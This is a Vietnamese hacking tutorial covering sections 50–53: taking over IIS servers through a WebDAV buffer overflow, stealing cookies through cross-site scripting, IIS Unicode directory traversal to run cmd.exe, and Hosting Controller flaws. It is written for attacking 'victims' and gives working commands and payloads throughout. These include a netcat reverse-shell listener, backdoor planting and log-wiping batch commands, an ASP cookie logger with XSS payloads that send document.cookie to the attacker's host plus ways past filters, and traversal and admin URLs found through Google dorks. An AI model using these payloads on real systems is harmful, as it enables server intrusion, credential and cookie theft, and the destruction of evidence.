Những hiểu biết cơ bản nhất để trở thành Hacker
50 . ) Kỹ thuật
hack server thông qua lỗi tràn bộ đệm WebDAV :
Giới thiệu : Giao thức World Wide Web Distributed Authoring and Versioning
(WebDAV) là một tập hợp các mở rộng cho giao thức HTTP dùng để cung cấp một
cách thức chuẩn cho việc biên tập và quản lý file giữa các máy tính trên
Internet. Lỗi tràn bộ đệm đã được phát hiện trong một thành phần của Windows
2000 được sử dụng bởi WebDAV có thể cho phép kẻ tấn công chiếm quyền điều
khiển máy tính .
Chuẩn bị : Ngoài những đồ nghề đã giới thiệu ở các bài trước , các bạn hãy
vào down thêm www32.brinkster.com/anhdenday/wb.zip extract để ở trong C:\
Khai thác :
+ Tìm một trang Web dùng IIS 5.0
+ Vào Dos , vào đặt NETCAT ở chế độ lắng nghe :
C:\>nx -vv -l -p 53
listening on [any] 53 ...
Ta để nó lắng nghe ở
cổng 53 vì tường lửa ko chặn cổng này .
+ Mở thêm một của sổ DOS nữa .
+ Ta sử dụng WebDAV vừa down về .
c:\wb.exe <IP của máy chủ IIS> <IP của máy tính của mình dùng để tấn công>
<cổng lắng nghe> [padding=1,2,3...]
VD :
C:\> webdav xxx.xxx.xxx.xxx
203.162.xxx.xxx 53 1
[Crpt] ntdll.dll exploit trough WebDAV by kralor [Crpt]
www.coromputer.net && undernet #coromputer
Checking WebDav on 'xxx.xxx.xxx.xxx' ... FOUND
exploiting ntdll.dll through WebDav [ret: 0x00100010]
Connecting... CONNECTED
Sending evil request... SENT
Now if you are lucky you will get a shell.
+ Nếu như may mắn bạn có thể lấy được shell của máy chủ IIS . Nếu như ở máy
tính dùng để tấn công hiện ra kết quả như sau thì bạn đã có shell rồi đó :
C:\>nc -vv -l -p 53
listening on [any] 53 ...
connect to [203.162.xxx.xxx] from xxx.xxx.xxx.xxx[xxx.xxx.xxx.xxx] 1125
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.
C:\WINNT\system32> <-- OK đã thành công rùi.
+ Khi đã có
shell rồi việc đầu tiên là ta sử dụng các lệnh trong Unix để khai thác , sau
đó up lên server vài con backdoor , he he . ( Sử dụng con WinShell, Hack
Defensed là ok rùi ) .
+ Sau khi làm xong ta sẽ xoá file log , để xác định file log ta thực hiện câu
truy vấn sau :
C:\WINNT\system32>reg query
HKLM\SYSTEM\CurrentControlSet\Services\W3SVC\Parameters /v LogFileDirectory !
REG.EXE VERSION 2.0
kết quả nó sẽ
xuất hiện link để ta xác định file log :
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3SVC\Parameters
LogFileDirectory REG_SZ C:\WINNT\System32\LogFiles
He he , đường
dẫn file log là C:\WINNT\System32\LogFiles
+ Ta tạo một file a.bat trên máy của nạn nhân để thực hiện việc xoá file log
này , ta đánh các lệnh sau :
C:\WINNT\system32>echo iisreset /stop >a.bat '
tạm dừng server IIS
C:\WINNT\system32>echo rd /q /s C:\WINNT\System32\LogFiles >>a.bat ' xóa nhật
kí của IIS
C:\WINNT\system32>echo iisreset /start >>a.bat ' khởi động lại IIS
C:\WINNT\system32>echo ce >>a.bat ' xóa nhật kí của Event Log
C:\WINNT\system32>echo del a.bat >>a.bat ' xóa file a.bat
+ Sau đó ta dùng
các lệnh sau để cho flie a.bat kia làm việc :
C:\WINNT\system32>net time \xxx.xxx.xxx.xxx ' lấy
thời gian hiện tại của máy chủ
Nó sẽ cho kết
quả như VD sau :
Current time at \xxx.xxx.xxx.xxx is dd/mm/yy 3:00
PM
The command completed successfully
Như vậy thờI
gian hiện tạI trên máy chủ là 15:00 , ta sẽ cho file a.bat làm việc sau 5 phút
nữa bằng lệnh sau :
C:\WINNT\system32>at 15:05 a.bat
Added a new job with job ID = 1
Ta có thể mặc
đinh cho file a.bat tự động làm việc sau bao lâu là tuỳ vào thông số thời gian
bạn đưa vào .
Ta thoát khỏi máy chủ bằng lệnh :
C:\WINNT\system32>exit ' đóng kết nối
sent 207, rcvd 746
+ Lúc này thì
mấy admin có tài thánh cũng ko biết là đã có người thâm nhập.
_ Sau này các bạn muốn quay lại cái server trên thì ta đột nhập trực tiếp
thông qua backdoor các bạn đã up lên.
_ Kèm theo file Wb.exe tôi đã để thêm 2 file nữa đó là :
+ xoafilelog.exe : dùng để xoá file log trong server của victim .
+ wbscaniis.xpn : dùng để quét xem server victim có bị lỗi này cho ta khai
thác hay không , các bạn tự tìm hiểu để sử dụng chúng nhé.
51 . ) Lỗi CROSS SITE SCRIPTING và cách khai thác :
Giới thiệu : Lỗi XSS ( tên gọi của Cross-Site Scripting ) nói nôm na là
hacker có thể thông qua lỗi này để chèn code vào site hay link để chôm các
thông tin quan trọng từ nạn nhân, các thông tin quan trọng ở đây có thể là
cookie hoặc username + pass để vào tài khoản 1 ngân hàng nào đó sau đó thông
tin này được gửi tới cho hacker .
Chuẩn bị :
+ Lấy đoạn code sau save lại thành file cookie.asp rồi up lên host của bạn có
hỗ trợ asp ( như brikster.com ) :
<%
Set x = CreateObject("Scripting.FileSystemObject")
Set y = x.OpenTextFile(Server.MapPath("mask.txt"), 8, true)
y.WriteLine Request.QueryString("cookie")
y.Close
Set y = Nothing
Set x = Nothing
%>
Kiểm tra trang
Web bị lỗi :
+ 1 site bất kì bao giờ cũng có 1 hoặc tất cả các phần sau : search results,
error messages , Web-form , chủ yếu lỗi XSS nằm ở các phần này , nói chung là
XSS có thể xảy ra ở chỗ nào mà người dùng có thể nhập dữ liệu vào và sau đó sẽ
nhận được 1 cái gì đó .
+ Cách tìm lỗi ta chia thành 4 bước :
Bước 1 : Mở website cần kiểm tra .
Bước 2 : Bắt đầu kiểm tra , định vị 1 ô tìm kiếm hoặc 1 login form và gửi
thông tin đi (nhập thông tin và nhấn submit hay login hay ok gì đó ) , ví dụ
nhập chữ "abc" chẳng hạn hay chữ gì cũng được .
Bước 3 : Xác định khả năng site có bị lỗi XSS hay không bằng cách xem thông
tin trả về :
Ví dụ bạn thấy như thế này :
"Your search for 'abc' did not find any items"
"Your search for 'abc' returned the following results"
"User 'abc' is not valid"
"Invalid login 'abc'"
hoặc là cái gì đó mà có dính tới chữ "abc" mà bạn nhập vào ban đầu thì 99%
thằng này bi XSS
Bước 4 : Chèn code thực sự vào nơi bị lỗi :
chèn cái này :
<script>alert('abc')</script>
vào ô ban nãy và nhấn SUBMIT . Nếu sau đó bạn nhận được 1 popup có chữ "abc"
thì thằng này 100% bị dính XSS . Nhưng xin chú ý , thỉnh thoảng vẫn có trường
hợp website đó bị dính XSS nhưng vẫn không xuất hiện cái popup thì buộc lòng
bạn phải VIEW SOURCES nó ra để xem . Khi view sources nhớ kiếm dòng
này<script>alert('abc')</script> , nếu có thì XSS đây rồi .
Một ví dụ khác thường gặp hơn :
Gọi
http://sitebiloi.com là site bị dính lỗi XSS
và ta tìm được nơi bị lỗi như thế này :
http://sitebiloi.com/?page=<script>...<script>
, nghĩa là ta có thể chèn code ngay trên thanh ADDRESS .
Tôi không thể trình bày hết mọi tình huống được , cái mà các bạn cần là hiểu
ra vấn đề thì bạn sẽ hiểu được khi nào bị lỗi .
Khai thác :
+ Lấy lại ví dụ site bị XSS trên thanh address , để lấy cookie của nạn nhân ta
làm như thế này :
http://sitebiloi.com/index.asp?page=<script>window.open("http:// địa chỉ trang
Web ta vừa up file cookie. asp lên
/cookie.asp?cookie="+document.cookie)</script>
thì ngay lập tức đoạn code đã được chèn vào trong web page , và trông như vầy
:
<HTML>
<TITLE> Hello all! </TITLE>
hello
<script>window.open("địa chỉ trang Web ta vừa up file cookie.asp lên
/cookie.asp?cookie="+document.cookie)</script>
...
</HTML>
Với đoạn code này thì trình
duyệt sẽ thi hành đoạn code và sau đó sẽ gửi toàn bộ cookie tới cho bạn ở dạng
file .txt và bạn chỉ việc mở file này ra xem .
+ Vậy gặp trường hợp nhà quản trị hạn chế sự xâm nhập bằng cách lọc bỏ các ký
tự đặc biệt ta phải làm sao ? Các bạn thử cách thay thế các ký tự đó bằng các
mã đại diện . VD :
* Nếu "Bộ lọc" loại bỏ 2 kí tự "<" và ">" :
Hacker sẽ dùng "\x3c" và "\x3e" để thay thế và bắt đầu chèn code với
') + ') + '\x3cscript
src=http://hostbanupfile.com/cookie.asp?cookie="+document.cookie\x3e\x3c/script\x3e'
Để tìm hiểu thêm về mã đại diện các bạn hãy download tại :
www32.brinkster.com/anhdenday/ascii.zip về nghiên cứu .
+ Biến các đoạn code nguy hiểm thành lời chú giải (comment) :
Ví dụ khi hacker nhập vào <script>code</script> thì sẽ bị chặn như sau :
<COMMENT>
<!--
code (không được phân tích bởi bộ lọc)
//-->
</COMMENT>
Vượt qua
cái này cũng rất dễ bằng cách dùng thẻ đóng </COMMENT> để đóng cái <COMMENT>
kia . Nghĩa là ta chèn cái này vào :
<script>
</COMMENT>
<img src="http://none" onerror="alert(abc was here);window.open(
http://sitebanupfile.com/cookie.asp?cookie...cument.cookie);
"></script>
lúc này đoạn lọc code ban đầu trở thành :
<COMMENT>
<!--
- -->
</COMMENT>
<img src="h*tp://none" onerror="alert(abc was here);window.open(
http://sitebanupfile.com/cookie.asp?cookie...cument.cookie); ">
</script>
</COMMENT>
và thế là bộ lọc bị vô hiệu hoá 1 cách nhanh chóng .
52 . ) Tìm hiểu về lỗ hổng Unicode trong Microsoft IIS :
Giới thiệu: Microsoft IIS là một phần mềm web server. Nó chứa tất cả file của
một website, và làm chúng có hiệu lực cho mọi người dùng trên internet. Nhưng
như tất cả các phần mềm khác, (đặc biệt là của Microsoft) nó có lỗ hỏng bảo
mật Unicode trong IIS của Microsoft, nhưng "không may" những người quản trị
thì lại không quan tâm đến việc cài đặt những patch fix lỗi đó. Trong bài
hướng dẫn này, ta thảo luận về cách mà lỗi này hoạt động, và Tại sao nó hoạt
động được.
Khi bạn viếng thăm một website, địa chỉ của file bạn hiện giờ đang xem sẽ
giống như sau:
http://www.someserver.com/
Đây là remote address của web server, hiển thị trên thanh address của trình
duyệt. Bất kỳ ai cũng có thể truy cập nó trên internet. Khi vào site này, web
server sẽ đưa cho bạn file index, (index.html hay ) của root folder web
server. Hầu hết những root folder của một web server là:
C:\inetpub\wwwroot
Đây là thư mục local của web servers, nơi cất giữ tất cả các trang chính của
website. Vì vậy nếu bạn gõ địa chỉ sau:
http://www.someserver.com/index.html
Ở trình duyệt, web server sẽ đưa cho bạn local file của nó:
c:\inetpub\wwwroot\index.html
Tôi hy vọng bạn sẽ không quá nhàm chán, việc quan trọng nhất là bạn phải hiểu
được sự khác nhau giữa địa chỉ local và remote.
Bây giờ, cái gì sẽ xảy ra nếu ta muốn di chuyển một cặp thư mục lên web
server? Ta muốn di chuyển từ c:\inetpub\wwwroot Đến c:\ chúng ta sẽ làm như
thế nào? Bạn không thể gõ:
http://www.someserver.com/c:\
Chú thích
Web server sẽ bắt đầu đi qua local của nó
c:\inetpub\wwwroot
Đối với những thư mục riêng, và do bạn không thể có : trong thư mục, nó sẽ đỗ
vỡ và bạn nhận được thông báo lỗi trong trình duyệt.
Tiếc quá! nó không hoạt động.
Nếu đã quen với FTP, thì bạn cũng biết lệnh DIRUP dùng để làm gì.
Lệnh để đi đến một thư mục ở trên là
/../
Nếu bạn thiết kế bất kỳ web hay mã html nào thì chắc chắn bạn sẽ dùng được rất
nhiều.
Vì thế ta chỉ đặt lệnh lẫn nhau, giống như sau
http://www.someserver.com/../../
Và bắt đầu truy cập vào ổ đĩa c local của server?
Tốt, ta bắt đầu khai thác ở đây, nhưng người tạo IIS lại muốn tránh phiền
phức, bằng cách làm server từ chối loại yêu cầu này.Vì thế ta phải làm gì
đây?Bạn có bao giờ thử download một file mà trong tên của nó có khoảng trống
chưa?
Bạn có nhận được thông báo là trình duyệt đã biến đổi khoảng trống đó thành
%20 không?
Hãy làm 1 ví dụ. Nếu bạn gõ cái này trong trình duyệt:
http://www.someserver.com/iis Unicode hole.txt
Trình duyệt sẽ thay thế khoảng trống bằng %20 :
http://www.someserver.com/iis%20unicode%20hole.txt
Và sau đó mới cho phép bạn download file.
Đó là cái gì, và tại sao trình duyệt lại phải làm như thế?
Máy tính không thể hiểu được khoảng trống. Đơn giản là chúng không làm được
vậy thôi.
%20 ở đây chính là Unicode cho ký tự ASCII mà ta hay gọi là “khoảng trống”.
Ký tự ASCII là những ký tự mà ta thấy trên màn hình khi dùng máy tính. Chỉ có
một Unicode cho mỗi ký tự ASCII. Vì thế, khi bạn đưa một khoảng trống vào
trình duyệt, nó phải được thay thế bằng cái gì mà cho máy tính có thể hiểu
được trước khi nó bắt đầu tìm kiếm.
Để tìm hiểu thêm về ASCII các bạn down tại :
www32.brinkster.com/anhdenday/ascii.zip
Từ khi trình duyệt biến đổi khoảng trống thành ký tự Unicode mới và gửi chúng
đến web server mà có thể hiểu được, ta cũng có thể dùng ký tự Unicode để giải
thích bất cứ thứ gì ta muốn, và web server sẽ cũng hiểu được chúng. Không chỉ
với khoảng trống. Mà ta cũng có thể biến đổi lệnh DIRUP thành Unicode, và gửi
chúng đến server. Ta cần biến đổi dấu gạch chéo (/) thành /../../ trong
Unicode. Unicode của / là %5C .
Thật là tuyệt, nếu sau đó tôi chỉ cần gõ
http://www.someserver.com/..%5C.. %5C/
và tôi có thể thấy host được không?
Khai thác ở đây, nhưng có một vài lý do nó không hoạt động.
Đầu tiên, nếu bạn đã làm với server’s local c:\ Bạn sẽ cần một vài thứ để đóng
thư mục. Web server sẽ không làm như vậy cho bạn. Vì vậy chúng ta cần mở
cmd.exe (dấu nhắc DOS) của server. Trong trình duyệt của bạn! Nhưng chúng ta
sẽ quay lại vấn đề này sau.
Thứ hai, khi server giải mã /..%5C.. %5C/
Nó sẽ thành /../../ mà lại bị hạn chế, và sau đó từ chối yêu cầu. Vì thế ta
cần phải làm gì, hay mã hoá Unicode đã mã hóa rồi một lần nữa. Có thể bạn sẽ
không theo tôi ngay bây giờ, nhưng tôi sẽ cố gắng giải thích một lần nữa. Ta
cần mã hoá mọi ký tự của chuỗi Unicode đã có.
Xem bảng dưới sẽ hiểu hơn.
COLOR=purple]ASCII................................. UNICODE[/COLOR]
%........................................ %25
5.......................................... %35
C............................ .............%43
Vì vậy
khi ta mã hóa ký tự ASCII /..%5C.. %5C/
Sang Unicode, ta được ..%25%35%43..%25%35%43
Và khi server đọc chuỗi ký tự này, nó sẽ trở lạI /..%5C.. %5C/
Đó không phải là lệnh DIRUP bình thường, nên nó được cho phép.
Nhưng có một vài thứ chúng ta cần biết. Như tôi đã đề cập ở trước, khi bạn kết
nối đến một web server, thư mục root mặc định là wwwroot. Thư mục này những
trang chính của site. Nhưng có những thư mục khác cho những trang web như yếu
tố scripts. Những thư mục này có chứa file mà có khá nhiều thứ quan trọng
trong web server. Vì vậy khi vận dụng server, ta cần làm nó từ thư mục mà ta
đã có đặc quyền để làm. Điều này không khó; Tôi chỉ muốn bạn hiểu tại sao tôi
thêm /scripts/ vào cuối URL.
Rốt cuộc, khi ta thi hành lệnh ở dấu nhắc server’s local dos prompt, ta cần
thi hành một lệnh cũng trong cái này. Ta muốn hiển thị c:\ ? Dễ thôi; ta chỉ
cần làm vài thủ thuật khác hơn bạn thường làm ở dấu nhắc dos.
Bắt đầu cmd.exe theo cách sau:
cmd.exe?/c+
? = Mọi thứ sau dòng đối số của lệnh.
/c = Thi hành lệnh, sau đó đóng cmd.exe (để cho nó không chạy mãi)
+ = Thay thế cho khoảng trống
Cuối cùng, toàn bộ lệnh ráp lại sẽ như sau:
http://www.myserver.com/scripts/..%25%35%43..%25%35%43/winnt/system32/cmd.exe?/c+dir+c:\
Và bạn thấy được c:\ của servers bên trong trình duyệt. Hehe?
_ Chú thích: Có rất nhiều “lệnh” Unicode khác để cho ta thi hành, nếu cái này
không hoạt động (có thể server đã fix được phần nào) thì thử áp dụng những
cách sau:
/msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+C:\
/_vti_bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+C:\
…….
53 . ) Kỹ thuật
hack Hosting controller :
Tìm site bị lỗi : vào Google.com đánh vào một trong các từ khoá sau :
+ copyright Hosting Controller .
+ allinurl:/advadmin .
+ allinurl:/admin .
Sau khi tìm được ta thử xét trang Web đó có bị lỗi hay ko bằng cách sử dụng 2
đoạn code :
http://www.victim.com/advwebadmin*hoac
admin*/stats/statsbrowse.asp?filepath=c:\&Opt=3
( Lệnh này xem ổ đĩa của victim )
www.victim.com/advwebadmin/autosignup/newwebadmin.asp
( Lệnh này tạo một free hosting )
Nếu như 2 lệnh trên cùng thực hiên được thì ta có thể khai thác chúng được rồi đó , he he .
Cách khai thác
:
+ Vì tạo được hosting nên ta có thể upload được file vô tư , các bạn hãy chú ý
thử xem địa chỉ mà cất các file ta vừa upload lên ở đâu ( bằng cách nhìn vào
thanh statup ) .
+ Tiếp theo là ta làm sao chuyển cái file đó vào thư mục chứa trang chủ của
nạn nhân , theo mặc định nó sẽ nằm ở đây :
C:\Program Files\Advanced Communications\NT Web Hosting Controller\web\
( Các bạn có thể thay ổ C:\ bằng D:\ , E:\ )
+ Khi xác định được chính xác địa chỉ rùi ta sẽ tìm đoạn script để làm giúp :
http://[targethost]/admin/import/imp_rootdir.asp?result=1&www=C:\&ftp=C:\(
đường dẫn đến thư mục web victim )&owwwPa th=C:\&oftpPath=C:\( đường dẫn đến
thư mục ta vừa upload file )
+ Các bạn có thể test đường dẫn file up lên có chính xác không bằng cách up
lên file a.html bất kỳ , giả sử nó được up lên nằm ở C:\Program Files\Advanced
Communications\NT Web Hosting Controller\web\admin\a.html ta sẽ test bằng cách
đánh đường dẫn ở URL :
www.victim/admin[avdadmin]/a.html
+ Nếu như đúng là chính xác rồi thì chỉ cần up “Đồ nghề” lên là xong.